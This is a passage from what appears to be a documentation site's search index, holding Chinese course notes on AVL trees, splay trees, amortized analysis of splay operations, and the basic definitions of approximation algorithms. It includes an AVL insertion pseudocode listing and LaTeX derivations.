<p>\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8eLR\u548cRL\u578b\uff0c\u6211\u4eec\u89e3\u51b3\u5931\u8861\u7684\u65b9\u5f0f\u662f</p> <p>\u5bf9\u4e8eLR\uff0c\u5de6\u7ed3\u70b9\u7684\u53f3 child \u5f53\u6839</p> <p>\u5bf9\u4e8eRL\uff0c\u53f3\u8282\u70b9\u7684\u5de6child \u5f53\u6839</p> <p>Tip</p> <p>\u5982\u679c\u4e00\u6b21\u63d2\u5165\u6700\u591a\u53ea\u4f1a\u5bfc\u81f4\u63d2\u5165\u8def\u5f84\u4e0a\u7684\u4e00\u8fde\u4e32\u7684\u7ed3\u70b9\u5931\u8861\uff0c\u6211\u4eec\u53ea\u9700\u8981\u89e3\u51b3\u627e\u5230\u7684\u7b2c\u4e00\u4e2a\uff08\u6700\u9760\u4e0b\u7684\uff09\u5931\u8861\u7ed3\u70b9\uff0c\u5c06\u5176\u89e3\u51b3\uff0c\u4e0a\u9762\u7684\u7ed3\u70b9\u81ea\u7136\u4e5f\u6062\u590d\u5230\u6b63\u5e38\u7684\u5e73\u8861\u56e0\u5b50,\u6240\u4ee5\uff0c\u5bf9\u4e8e\u6bcf\u6b21\u63d2\u5165\uff0c\u6211\u4eec\u81f3\u591a\u53ea\u9700\u8981\u8fdb\u884c\u4e00\u6b21 rotation \u5c31\u53ef\u4ee5\u89e3\u51b3\u51b2\u7a81\u4e86 \u4f46\u662f\u5bf9\u4e8e\u5220\u9664\uff0c\u6700\u574f\u7684\u60c5\u51b5\u5374\u8981\u65cb\u8f6c \\(\\log(n)\\) \u6b21</p> <p>\u65cb\u8f6c\u524d\u540e\uff0c\u7ed3\u70b9\u4e4b\u95f4\u7684\u76f8\u5bf9\u4f4d\u7f6e\u4e0d\u53d8\uff0c\u4ea6\u5373\u5de6\u8fb9\u7684\u7ed3\u70b9\u4ecd\u7136\u5728\u5de6\u8fb9\uff0c\u53f3\u8fb9\u7684\u7ed3\u70b9\u4ecd\u7136\u5728\u53f3\u8fb9</p> <p>AVL \u6811\u7684\u641c\u7d22\u3001\u63d2\u5165\u548c\u5220\u9664\u64cd\u4f5c\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)</p>"},{"location":"NOTE/ADS/wk1/#splay-tree","title":"Splay tree(\u4f38\u5c55\u6811)","text":"<p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>Splay \u6811\u7684\u60f3\u6cd5\u4e00\u65b9\u9762\u6765\u6e90\u4e8e\u5e0c\u671b\u53ef\u4ee5\u4e0d\u50cf AVL \u90a3\u6837\u4fdd\u6301\u4e25\u683c\u7684\u5e73\u8861\u7ea6\u675f\uff0c\u4f46\u4e5f\u80fd\u4fdd\u8bc1\u67d0\u79cd\u5c42\u9762\uff08\u5747\u644a\uff09\u7684\u5bf9\u6570\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u53e6\u4e00\u65b9\u9762 Splay \u6811\u5728\u8bbf\u95ee\uff08\u7279\u522b\u6ce8\u610f\u8bbf\u95ee\u5305\u62ec\u641c\u7d22\u3001\u63d2\u5165\u548c\u5220\u9664\uff09\u65f6\u90fd\u9700\u8981\u5c06\u5143\u7d20\u79fb\u52a8\u5230\u6839\u7ed3\u70b9\uff0c\u8fd9\u975e\u5e38\u7b26\u5408\u7a0b\u5e8f\u5c40\u90e8\u6027\u7684\u8981\u6c42\uff0c\u5373\u521a\u521a\u8bbf\u95ee\u7684\u6570\u636e\u5f88\u6709\u53ef\u80fd\u518d\u6b21\u88ab\u8bbf\u95ee\uff0c\u56e0\u6b64\u5728\u5b9e\u73b0\u7f13\u5b58\u548c\u5783\u573e\u6536\u96c6\u7b97\u6cd5\u4e2d\u6709\u4e00\u5b9a\u7684\u5e94\u7528\u3002</p> <p>Splay \u6811\u5e76\u4e0d\u5728\u4e4e\u4e8c\u53c9\u6811\u662f\u5426\u65f6\u523b\u90fd\u5e73\u8861\uff0c\u800c\u662f\u901a\u8fc7\u5728\u6bcf\u6b21\u64cd\u4f5c\u65f6\u52a0\u4e0aSplay\u64cd\u4f5c\uff0c\u5373\u901a\u8fc7\u4e00\u7cfb\u5217\u65cb\u8f6c\u5c06\u6211\u4eec\u8bbf\u95ee\u7684\u7ed3\u70b9\u79fb\u52a8\u5230\u6839\u7ed3\u70b9</p> <p>Note</p> <p>Any M consecutive tree operations starting from an empty tree take at most \\(O(M \\log N)\\) time.</p> <p>Splay tree \u5e0c\u671b\u4ece\u4e00\u68f5\u7a7a\u6811\u5f00\u59cb\u8fde\u7eed\u7684M\u4e2a\u64cd\u4f5c\u662f \\(O(M \\log N)\\) \u7684</p> <p>\u6211\u4eec\u6709\u4e24\u79cd\u65cb\u8f6c\u65b9\u5f0f</p> <p>naive\u7684\u65b9\u5f0f:</p> <p>\u4e0d\u65ad\u5730\u628a\u8bbf\u95ee\u7684\u7ed3\u70b9\u4e0e\u5176\u7236\u8282\u70b9\u66f4\u6362\u7236\u5b50\u65b9\u5f0f\uff0c\u5373\u4e0d\u65ad\u4f7f\u7528\u5355\u65cb\u4e00\u76f4\u8f6c\u5230\u6839\u8282\u70b9\u7684\u4f4d\u7f6e\uff0c\u4f46\u662f\u8fd9\u79cd\u65b9\u6cd5\u867d\u7136\u6ee1\u8db3\u4e86\u5c06\u8bbf\u95ee\u7684\u7ed3\u70b9\u79fb\u52a8\u5230\u6839\u7684\u9700\u6c42\uff0c\u5176\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u5374\u88ab\u79fb\u52a8\u5230\u4e86\u5f88\u6df1\u7684\u4f4d\u7f6e\uff0c\u8fd9\u79cd\u65b9\u5f0f\u4e0d\u6ee1\u8db3\u6211\u4eec\u5bf9\u4e8e\u590d\u6742\u5ea6\u7684\u8981\u6c42</p> <p>\u4e0b\u9762\u662f\u5408\u7406\u7684\u65cb\u8f6c\u65b9\u5f0f:</p> <p>\u5bf9\u4e8e\u4efb\u4f55\u4e0d\u662f\u6839\u7ed3\u70b9\u7684\u7ed3\u70b9 X ,\u6211\u4eec\u5173\u5fc3\u5b83\u7684 parent \u8282\u70b9 P \u548c\u5b83\u7684 grandparent \u7ed3\u70b9 G:</p> <ul> <li>case 1: \u5982\u679c P \u5df2\u7ecf\u662f\u6839\uff0c\u76f4\u63a5\u65cb\u8f6c\u4ea4\u6362 P \u548c X \uff0c\u8fd9\u4e0e\u666e\u901a\u65b9\u6cd5\u6ca1\u4ec0\u4e48\u533a\u522b</li> <li>case 2: \u5982\u679c P \u5e76\u4e0d\u662f\u6839\uff0c\u53c8\u5206\u4e3a\u4e24\u79cd\u60c5\u51b5<ul> <li>Zig-zag(\u4e4b\u5b57\u578b): \u53cc\u65cb,\u4f7f\u5f97X\u6210\u4e3a\u6811\u6839(\u4e0d\u4e00\u5b9a\u662f\u6811\u7684\u6839\uff0c\u662fXPG\u5b50\u6811\u7684\u6811\u6839)\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0e\u666e\u901a\u65b9\u6cd5\u662f\u4e00\u6837\u7684\uff0c\u4e0e AVL \u6811\u7684 RL \u548c LR \u578b\u4e5f\u662f\u4e00\u6837\u7684</li> <li>Zig-zig(\u540c\u4fa7\u578b): \u5355\u65cb\uff0c\u5176\u5b9e\u53eb\u505a\u5355\u65cb\uff0c\u5b9e\u9645\u4e0a\u4e5f\u662f\u8f6c\u4e24\u6b21\uff0c\u5e94\u8be5\u662f\u4e3a\u4e86\u548c AVL \u6811\u4e0d\u4e00\u6837\u624d\u8fd9\u4e48\u53eb\u3002 Zig-zig \u7684\u65b9\u6cd5\u624d\u662f\u662f\u4e0enaive\u7684\u65b9\u6cd5\u4e0d\u4e00\u6837\u7684\u5730\u65b9,\u666e\u901a\u65b9\u6cd5\u5148\u4ea4\u6362\u4e86 X \u548c P \u7684\u4f4d\u7f6e\uff0c\u518d\u4ea4\u6362 X \u548c G \u7684\u4f4d\u7f6e; Zig-zig \u7684\u64cd\u4f5c\u65b9\u6cd5\u662f\u5148\u4ea4\u6362 P \u548c G \uff0c\u518d\u4ea4\u6362 X \u548c P\uff0c\u76f8\u5f53\u4e8e X \u76f4\u63a5\u8de8\u4e86\u4e24\u6b65 </li> </ul> </li> </ul> <p></p> insert 1 to 7 and then find 1 <p></p> <p>\u7f16\u7a0b\u5b9e\u8df5-Find root of AVL tree</p> <p>For each case, the first line contains a positive integer \\(N\\) which is the total number of keys to be inserted.  Then \\(N\\) distinct integer keys are given in the next line.  All the numbers in a line are separated by a space.</p> <p>output the root of AVL treeeeeeeeeeeeeee!</p> pseudo code <pre><code>Define structure Node:\ndata: integer\nleft: pointer to Node (initially NULL)\nright: pointer to Node (initially NULL)\nheight: integer (initially 0)\n\nDefine height(root):\n    If root is NULL:\n        Return -1\n    Else:\n        Return root.height\n\nDefine LL_rotation(root):\n    new_root = root.left\n    root.left = new_root.right\n    new_root.right = root\n    Update root.height\n    Update new_root.height \n    Return new_root\n\nDefine RR_rotation(root):\n    new_root = root.right\n    root.right = new_root.left\n    new_root.left = root\n    Update root.height\n    Update new_root.height \n    Return new_root\n\nDefine LR_rotation(root):\n    root.left = RR_rotation(root.left)\n    Return LL_rotation(root)\n\nDefine RL_rotation(root):\n    root.right = LL_rotation(root.right)\n    Return RR_rotation(root)\n\nDefine insert(root, x):\n    If root is NULL:\n        Create a new node with data x\n        Set left and right child to NULL\n        Set height to 0\n        Return the new node\n    Else if x &lt; root.data:\n        Recursively insert x into the left subtree\n        If height difference between left and right subtree is 2:\n            If x &lt; root.left.data:\n                Perform LL_rotation on root\n            Else:\n                Perform LR_rotation on root\n    Else if x &gt; root.data:\n        Recursively insert x into the right subtree\n        If height difference between right and left subtree is 2:\n            If x &gt; root.right.data:\n                Perform RR_rotation on root\n            Else:\n                Perform RL_rotation on root\n    Update root.height = max(height(root.left), height(root.right)) + 1\n    Return root\n\nMain function:\n    Read integer N (number of nodes to be inserted)\n    Initialize root as NULL\n    For each node:\n        Read integer x\n        Insert x into the AVL tree (root = insert(root, x))\n    Output the data of the root node\n</code></pre>"},{"location":"NOTE/ADS/wk1/#amortized-analysis","title":"Amortized Analysis(\u644a\u8fd8\u5206\u6790)","text":"\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49 <p>\u644a\u8fd8\u5206\u6790\u7684\u60f3\u6cd5\u6765\u6e90\u4e8e\u6211\u4eec\u5e0c\u671b\u4f30\u8ba1\u4e00\u79cd\u6570\u636e\u7ed3\u6784\u7ecf\u8fc7\u4e00\u7cfb\u5217\u64cd\u4f5c\u7684\u5e73\u5747\u82b1\u8d39\u65f6\u95f4\u3002\u7136\u800c\uff0c\u5e73\u5747\u65f6\u95f4 \u975e\u5e38\u96be\u8ba1\u7b97\uff0c\u56e0\u4e3a\u6bcf\u4e00\u6b65\u90fd\u6709\u975e\u5e38\u591a\u7684\u9009\u62e9\uff0c\u8fde\u7eed m \u4e2a\u64cd\u4f5c\uff0c\u53ef\u80fd\u7684\u64cd\u4f5c\u8def\u5f84\u662f\u6307\u6570\u7ea7\u522b\u7684\u3002\u5e76\u4e14\u6709 \u65f6\u5019\u5e73\u5747\u6d89\u53ca\u6982\u7387\u5206\u5e03\u7b49\uff0c\u4f46\u6211\u4eec\u5e76\u4e0d\u77e5\u9053\u786e\u5207\u7684\u5206\u5e03\uff0c\u56e0\u6b64\u6bd4\u8f83\u96be\u4ee5\u8ba1\u7b97\u3002 \u4e00\u79cd\u6700\u7b80\u5355\u7684\u4f30\u8ba1\u65b9\u6cd5\u5c31\u662f\u7528\u6700\u5dee\u60c5\u51b5\u5206\u6790\u4f5c\u4e3a\u5e73\u5747\u60c5\u51b5\u7684\u4e0a\u754c\uff0c\u4f8b\u5982 Splay \u6811\uff0c\u6bcf\u4e2a\u64cd\u4f5c\u6700\u5dee\u90fd\u662f \\(O(n)\\)\uff08n \u4e3a\u6811\u4e2d\u7ed3\u70b9\u4e2a\u6570\uff09\u7684\uff0c\u56e0\u6b64\u5e73\u5747\u4e0d\u4f1a\u6bd4\u6700\u5dee\u60c5\u51b5\u5dee\uff0c\u6240\u4ee5\u4e5f\u662f \\(O(n)\\) \u7684\u3002\u7136\u800c\u8fd9\u6837\u7684\u4f30\u8ba1\u663e\u7136 \u662f\u653e\u5f97\u592a\u5bbd\u4e86\uff0c\u6211\u4eec\u5bf9\u8fd9\u4e2a\u590d\u6742\u5ea6\u662f\u975e\u5e38\u4e0d\u6ee1\u610f\u7684\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c\u644a\u8fd8\u5206\u6790\u3002\u4e8b\u5b9e\u4e0a\uff0c\u5728\u6700\u5dee\u60c5\u51b5 \u7684\u5206\u6790\u4e2d\uff0c\u6211\u4eec\u5ffd\u7565\u4e86\u4e00\u4ef6\u4e8b\u60c5\uff0c\u5c31\u662f\u6709\u7684\u5e8f\u5217\u662f\u4e0d\u53ef\u80fd\u51fa\u73b0\u7684\uff0c\u4f8b\u5982\u76f4\u63a5\u5728\u7a7a\u7684\u6811\u4e0a\u7528 \\(O(n)\\) \u65f6\u95f4\u5220 \u9664\uff0c\u644a\u8fd8\u5206\u6790\u5219\u662f\u5e0c\u671b\u6392\u9664\u6389\u6700\u5dee\u60c5\u51b5\u5206\u6790\u4e2d\u628a\u6240\u6709\u4e0d\u7ba1\u53ef\u80fd\u4e0d\u53ef\u80fd\u7684\u60c5\u51b5\uff0c\u6700\u5dee\u7684\u8def\u5f84\u6311\u51fa\u6765\u7684\u8fd9 \u79cd\u65e0\u8111\u884c\u4e3a\uff0c\u8f6c\u800c\u5206\u6790\u6240\u6709\u53ef\u80fd\u7684\u4ece\u7a7a\u7ed3\u6784\u5f00\u59cb\u7684\u64cd\u4f5c\u8def\u5f84\u4e2d\uff0c\u6700\u5dee\u7684\u5e73\u5747\u65f6\u95f4\uff0c\u90a3\u4e48\u8fd9\u4e00\u65f6\u95f4\u4e00\u5b9a\u6bd4 \u6700\u5dee\u60c5\u51b5\u5206\u6790\u597d\uff0c\u56e0\u4e3a\u6392\u9664\u6389\u4e86\u4e00\u4e9b\u4e0d\u53ef\u80fd\u51fa\u73b0\u7684\u6240\u8c13\u6700\u5dee\u5e8f\u5217\uff0c\u4f46\u53c8\u4f1a\u5927\u4e8e\u7b49\u4e8e\u5e73\u5747\u65f6\u95f4\uff0c\u56e0\u4e3a\u53d6\u7684 \u662f\u6240\u6709\u53ef\u80fd\u5e8f\u5217\u4e2d\u6700\u5dee\u7684\u90a3\u4e00\u79cd\u3002\u56e0\u6b64\u5f53\u6211\u4eec\u7b97\u51fa\u644a\u8fd8\u5206\u6790\u7684\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u90a3\u4e48\u5b83\u4e5f\u4e00\u5b9a\u662f\u5e73\u5747\u65f6\u95f4 \u7684\u4e0a\u754c\uff0c\u540c\u65f6\u8fd9\u4e2a\u4e0a\u754c\u4f1a\u6bd4\u6700\u5dee\u60c5\u51b5\u5206\u6790\u597d.</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u5e0c\u671b\u5206\u6790 Average \u7684\u60c5\u51b5\u662f\u6bd4\u8f83\u56f0\u96be\u7684\uff0c\u5206\u6790 worst \u7684\u60c5\u51b5\u662f\u6bd4\u8f83\u7c97\u7cd9\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u644a\u8fd8\u5206\u6790\uff0c\u901a\u8fc7\"\u52ab\u5bcc\u6d4e\u8d2b\"(\u622a\u957f\u8865\u77ed),\u5c06\u6700\u574f\u7684\u60c5\u51b5\u524a\u5f31\uff0c\u540c\u65f6\u53c8\u662f\u5e73\u5747\u60c5\u51b5\u7684\u4e0a\u754c\uff0c\u53ea\u8981\u8fd9\u79cd\u60c5\u51b5\u662f\u6ee1\u8db3\u6761\u4ef6\u7684\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528\u5b83\u6765\u8bc1\u660e\u3002</p> <p>\u51c6\u5907\u5de5\u4f5c</p> \\[\\hat{c}_i=c_i+\\Delta_i\\] <p>\u5176\u4e2d \\(\\hat{c}_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u644a\u8fd8\u4ee3\u4ef7\uff0c\\(c_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u5b9e\u9645\u4ee3\u4ef7\uff0c\\(\\Delta_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u662f\u622a\u7684\u957f\uff08\u8d1f\u503c\uff09\uff0c\u6216\u8005\u8865\u7684\u77ed\uff08\u6b63\u503c\uff09</p> <p>\u6211\u4eec\u8fd8\u9700\u8981\u6ee1\u8db3\uff1a</p> \\[\\sum_{i=1}^{n}\\Delta_i \\geqslant 0\\] <p>\u6240\u4ee5\uff1a</p> \\[\\sum_{i=1}^{n}\\hat{c}_i \\geqslant \\sum_{i=1}^{n}c_i\\] <p>\u4f46\u662f\u5728\u9762\u5bf9Splay tree\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u5e76\u4e0d\u80fd\u6bcf\u4e00\u6b21\u90fd\u5f88\u597d\u7684\u5b9a\u4e49\u4e00\u79cd \\(\\Delta_i\\),\u6240\u4ee5\u6211\u4eec\u9700\u8981\u7528\u5230\u52bf\u80fd\u51fd\u6570\uff0c\u6765\u6784\u9020\u9996\u5c3e\u53ef\u4ee5\u76f8\u6d88\u7684\u9879</p> \\[\\Delta_i=\\Phi(D_n)-\\Phi(D_{n-1})\\] <p>\u8fd9\u6837\uff0c\u6240\u6709\u7684\u6210\u672c</p> \\[\\sum_{i=1}^{n}\\hat{c}_i = \\sum_{i=1}^{n}c_i+\\Phi(D_n)-\\Phi(D_{0})\\] <p>\u8bc1\u660eSplay tree\u6bcf\u4e2a\u64cd\u4f5c\u7684\u590d\u6742\u5ea6</p> <p>\u6211\u4eec\u5b9a\u4e49\u52bf\u80fd\u51fd\u6570 \\(\\Phi(T)\\) \u4e3a</p> \\[\\Phi(T)=\\sum_{x\\in T}Rank(x)\\] <p>\u5176\u4e2d \\(Rank(x)=\\log S(x)\\)</p> <p>\u5373\u4ee5\\(x\\)\u4e3a\u6839\u7684\u5b50\u6811\u7684\u7ed3\u70b9\u6570\u7684\u5bf9\u6570\uff0c\u5305\u62ec\\(x\\)\u672c\u8eab</p> <p>\u5bf9\u4e8eZig\u64cd\u4f5c,\u6709\u4e00\u6b21\u65cb\u8f6c\uff0creal cost = 1 </p> <p>\u5728\u653e\u7f29\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u4fdd\u7559\\(X\\) $$ \\hat{c}_i = 1 + R_2(X) - R_1(X) \\ + R_2(P) - R_1(P) \\ \\leqslant 1 + R_2(X) - R_1(X) $$ \u8fd9\u662f\u5f88\u81ea\u7136\u7684\uff0c\u56e0\u4e3a\\(R_2(P) - R_1(P) \\leqslant 0\\)</p> <p>\u5bf9\u4e8eZig-zag\u64cd\u4f5c\uff0c\u6709\u4e24\u6b21\u65cb\u8f6c\uff0creal cost = 2</p> <p></p> \\[ \\hat{c}_i = 2 + R_2(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(G) \\\\ \\leqslant 2 (R_2(X) - R_1(X)) \\] <p>\u5728\u8fd9\u91cc\uff0c\\(R_2(X)=R_1(G),R_1(P)&gt;R_1(X)\\) \u6240\u4ee5\uff0c\u53ea\u9700\u8981\u8003\u8651\\(R_2(P) + R_2(G)+2\\)\u4e3a\u4ec0\u4e48\u5c0f\u4e8e\u7b49\u4e8e\\(2R_2(X)\\),\u5bf9\u4e8e\u65cb\u8f6c\u540e\u7684\u6811\uff0c\u6211\u4eec\u6709</p> \\[ \\begin{align*} S(P) + S(G) + 1 &amp;= S(X) \\\\  \\log S(P) + \\log S(G) + 2 &amp;= \\log 4S(P)S(G) \\leqslant \\log(S(P)+S(G))^2 \\\\ &amp;= 2\\log (S(X)-1) \\leqslant 2R_2(X) \\end{align*} \\] <p>\u5bf9\u4e8eZig-zig\u64cd\u4f5c\uff0c\u6709\u4e24\u6b21\u65cb\u8f6c\uff0creal cost = 2</p> <p></p> \\[ \\hat{c}_i = 2 + R_2(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(G) \\\\ \\leqslant 3 (R_2(X) - R_1(X)) \\] <p>\u8fd9\u79cd\u60c5\u51b5\u5c31\u7a0d\u96be\u4e00\u70b9\uff0c\u9996\u5148\u6211\u4eec\u4ecd\u7136\u628a\\(R_2(X)=R_1(G)\\),\u7136\u540e\u52a0\u4e0a\u518d\u51cf\u53bb\\(R_1(X)\\),\u6b64\u65f6\u5f0f\u5b50\u53d8\u6210</p> \\[ \\hat{c}_i = 2 + R_1(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(X) \\\\ \\leqslant 3 (R_2(X) - R_1(X)) \\] <p>\u518d\u6709\\(R_1(P) &gt; R_1(X),R_2(P)&lt;R_2(X)\\) \u90a3\u4e48\u5c31\u5269\u4e0b\\(R_1(X) + R_2(G) + 2 \\leqslant 2R_2(X)\\)  \u7c7b\u4f3c\u7684\uff0c\u6211\u4eec\u6709</p> \\[ \\begin{align*} S_1(X) + S_2(G) + 1 &amp;= S_2(X) \\\\ \\log S_1(X) + \\log S_2(G) + 2 &amp;= \\log 4S_1(X)S_2(G) \\leqslant \\log(S_1(X)+S_2(G))^2 \\\\ &amp;= 2\\log (S_2(X)-1) \\leqslant 2R_2(X) \\end{align*} \\] <p>\u5176\u5b9e\uff0c\u8fd9\u4e5f\u662f\u6709\u8ff9\u53ef\u5faa\u7684\uff0c\u4e3b\u8981\u60f3\u6cd5\u5c31\u662f\u7528\u4e0d\u7b49\u5f0f\u7684\u65f6\u5019\uff0c\u5de6\u8fb9\u4e24\u68f5\u6811\u6ca1\u6709\u4e92\u76f8\u5305\u542b\u7684\u5173\u7cfb</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u6bcf\u6b21\u64cd\u4f5c\u7684 amortized cost  \u6700\u591a\u4e0d\u8d85\u8fc7 \\(3 (R_2(X) - R_1(X))+1=O(\\log N)\\)</p> <p>M\u6b21\u64cd\u4f5c\u7684\u603b\u4ee3\u4ef7\u4e3a \\(O(M\\log N)\\)</p> <p>\u8fd8\u6ca1\u5b8c\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981\u8bc1\u660e\uff0c\u5f53\u521d\u59cb\u52bf\u80fd\u4e0d\u4e3a0\u65f6\uff0c\u6211\u4eec\u7684\u644a\u8fd8\u4ee3\u4ef7\u662f\u6b63\u786e\u7684\uff0c\u5176\u5b9e\u5373\u4f7f\u4e0d\u4e3a0\uff0c\u6211\u4eec\u53ef\u4ee5\u786e\u5b9a\u5176\u521d\u59cb\u52bf\u80fd\u662f\u6709\u754c\u7684\u4e00\u4e2a\u6570</p> \\[  \\sum_{i=1}^{n}\\hat{c}_i = \\sum_{i=1}^{n}c_i+\\Phi(D_n)-\\Phi(D_{0}) \\] <p>\u5219\u5e73\u5747\u644a\u8fd8\u4ee3\u4ef7\u4e3a</p> \\[   \\frac{\\sum_{i=1}^{n}\\hat{c}_i}{n} = \\frac{\\sum_{i=1}^{n}c_i}{n}+\\frac{\\Phi(D_n)}{n}-\\frac{\\Phi(D_{0})}{n} \\] <p>\u5f53n\u8d8b\u8fd1\u4e8e\u65e0\u7a77\u5927\u65f6\uff0c\u5c3e\u9879\u81ea\u7136\u5c31\u53bb\u6389\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u644a\u8fd8\u4ee3\u4ef7\u4ecd\u7136\u5927\u4e8e\u7b49\u4e8e\u5b9e\u9645\u4ee3\u4ef7\uff0c\u662f\u5408\u7406\u7684</p>"},{"location":"NOTE/ADS/wk10/","title":"\u8fd1\u4f3c\u7b97\u6cd5","text":"<p> \u7ea6 2053 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u6700\u4f18\u5316\u95ee\u9898\u7684\u7b97\u6cd5\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e09\u4e2a\u671f\u671b</p> <p>Note</p> <p>1.\u7b97\u6cd5\u9700\u8981\u80fd\u627e\u5230\u786e\u5207\u7684\u6700\u4f18\u89e3 2.\u7b97\u6cd5\u9700\u8981\u80fd\u9ad8\u6548(\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185)\u8fd0\u884c 3.\u7b97\u6cd5\u662f\u901a\u7528\u7684,\u9700\u8981\u53ef\u4ee5\u89e3\u51b3\u4e00\u7c7b\u95ee\u9898\u4e2d\u7684\u6240\u6709\u5b9e\u4f8b\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5355\u4e2a\u5b9e\u4f8b\u6709\u6548</p> <p>\u7136\u800c\uff0c\u5bf9\u4e8e\u67d0\u4e9b\u95ee\u817f\uff0c\u6211\u4eec\u6709\u53ef\u80fd\u65e0\u6cd5\u5b9e\u73b0\u4ee5\u4e0a\u4e09\u4e2a\u671f\u671b\uff0c\u4f8b\u5982NPC\u95ee\u9898\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u9000\u800c\u6c42\u5176\u6b21\uff0c\u505a\u4e00\u4e9b\u59a5\u534f\uff1b</p> <ul> <li>\u5982\u679c\u7b97\u6cd5\u820d\u5f03\u7b2c\u4e8c\u4e2a\u671f\u671b\uff0c\u5219\u662f\u7528\u4f8b\u5982\u56de\u6eaf\u7b49\u65b9\u6cd5\u5728\u6307\u6570\u65f6\u95f4\u5185\u89e3\u51b3\u95ee\u9898\uff0c\u8fd9\u5bf9\u4e8e\u8f93\u5165\u4e0d\u5927\u7684\u60c5\u51b5\u662f\u53ef\u4ee5\u63a5\u53d7\u7684\uff1b</li> <li>\u5982\u679c\u820d\u5f03\u7b2c\u4e09\u4e2a\u671f\u671b\uff0c\u6211\u4eec\u76f8\u5f53\u4e8e\u4e3a\u95ee\u9898\u627e\u5230\u4e00\u4e9b\u5bb9\u6613\u89e3\u51b3\u7684\u7279\u4f8b\uff1b</li> <li>\u5982\u679c\u820d\u5f03\u7b2c\u4e00\u4e2a\u671f\u671b\uff0c\u4f46\u6211\u4eec\u80fd\u4fdd\u8bc1\u9ad8\u6548\u627e\u5230\u7684\u89e3\u662f\u548c\u771f\u6b63\u7684\u6700\u4f18\u89e3 \u201c\u76f8\u5dee\u4e0d\u5927\u201d \u7684\uff0c\u90a3\u4e48\u6211\u4eec\u79f0\u8fd9\u7c7b\u7b97\u6cd5\u4e3a\u8fd1\u4f3c\u7b97\u6cd5\u3002</li> </ul>"},{"location":"NOTE/ADS/wk10/#_2","title":"\u57fa\u672c\u6982\u5ff5","text":"<p>Definition</p> <p>\u5047\u8bbe\u6709\u67d0\u7c7b\u95ee\u9898 \\(\\mathcal{I}\\)\uff08\u4f8b\u5982\u80cc\u5305\u95ee\u9898\uff09\uff0c\u5176\u4e2d\u7684\u4e00\u4e2a\u5177\u4f53\u5b9e\u4f8b\u8bb0\u4e3a \\(I\\)\uff08\u5f53\u7ed9\u5b9a\u95ee\u9898\u7684\u53c2\u6570\u5b9a\u4e49\u7684\u65f6\u5019\u5373\u4e3a\u4e00\u4e2a\u5b9e\u4f8b\uff09\uff0c\u4e14\u6709\u4e00\u4e2a\u590d\u6742\u5ea6\u4e3a\u591a\u9879\u5f0f\u7684\u8fd1\u4f3c\u7b97\u6cd5 \\(A\\)\u3002\u5b9a\u4e49\uff1a</p> <ul> <li>\\(A(I)\\) \u4e3a\u7b97\u6cd5 \\(A\\) \u5728\u5b9e\u4f8b \\(I\\) \u4e0a\u5f97\u5230\u7684\u89e3\uff1b</li> <li>\\(\\mathbf{OPT}(I)\\) \u4e3a\u5b9e\u4f8b \\(I\\) \u7684\u6700\u4f18\u89e3\u3002</li> </ul> <p>\u8003\u8651 \\(I\\) \u662f\u6700\u5c0f\u5316\u95ee\u9898\uff0c\u82e5\u5b58\u5728 \\(r &gt; 1\\)\uff0c\u5bf9\u4efb\u610f\u7684 \\(I\\) \u90fd\u6709\uff1a</p> \\[ A(I) \\leqslant r \\cdot \\mathbf{OPT}(I), \\] <p>\u90a3\u4e48\u79f0 \\(A\\) \u4e3a\u8be5\u95ee\u9898\u7684 \\(r\\)-\u8fd1\u4f3c\u7b97\u6cd5\uff08\u5373\u5bf9\u4e8e\u4efb\u4f55\u53ef\u80fd\u7684\u95ee\u9898\u5b9e\u4f8b\uff0c\\(A\\) \u7ed9\u51fa\u7684\u89e3\u90fd\u4e0d\u4f1a\u6bd4\u6700\u4f18\u89e3\u7684 \\(r\\) \u500d\u5927\uff09\u3002\u6211\u4eec\u7279\u522b\u5173\u5fc3\u5176\u4e2d\u53ef\u4ee5\u53d6\u5230\u7684\u6700\u5c0f \\(r\\)\uff0c\u79f0\uff1a</p> \\[ \\rho = \\inf\\{r : A(I) \\leqslant r \\cdot \\mathbf{OPT}(I), \\forall I\\} \\] <p>\u4e3a \u8fd1\u4f3c\u6bd4\uff08approximation ratio\uff09\uff0c\u5373\u7b97\u6cd5 \\(A\\) \u6700\u7d27\u7684\u8fd1\u4f3c\u754c\u3002\u5b83\u53ef\u4ee5\u7b49\u4ef7\u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\rho = \\sup_{\\mathcal{I}} \\frac{A(I)}{\\mathbf{OPT}(I)} \\] 